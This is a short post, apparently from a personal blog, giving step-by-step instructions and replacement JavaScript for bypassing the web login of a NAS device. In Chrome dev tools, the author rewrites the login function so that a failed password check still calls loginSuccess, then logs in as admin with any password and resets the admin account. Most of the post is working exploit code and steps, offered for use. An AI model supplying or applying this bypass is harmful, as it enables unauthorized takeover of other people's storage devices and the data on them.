Long story short I needed access to this NAS and it was on the other side of the planet so a little creative coding came to the rescue.
With developer tools enabled (I used Chrome).
- Get to the login page
- Open dev tools sources tab
- Open login_utis.js under the ‘authentication’ folder
- Replace the login function with the following:
function login(f, lang) {
if (login_lock != 0) {
return;
}
login_lock = 1;var uid = Ext.getCmp(‘user’);
var uid_value = uid.getValue();
var pwd = Ext.getCmp(‘password’);
var pwd_value = pwd.getValue();f.form.submit({
url: ‘/dynamic.pl’,
params: {
bufaction: ‘verifyLogin’
},
waitTitle: S(‘Please Wait…’),
waitMsg: S(‘Logging In…’),
success: function(form, action){
var decodedResponse= Ext.decode(action.response.responseText);
var jsonData = decodedResponse.data;
loginSuccess(f, action, uid_value, lang);
},
failure: function(form, action){
loginSuccess(f, action, uid_value, lang);
}
});
};
- Hit Ctrl+S (save the change)
- Login as admin with any password. I used admin/admin
- Reset the admin account with a new password.
Bad security in this case saved a lot of hassle.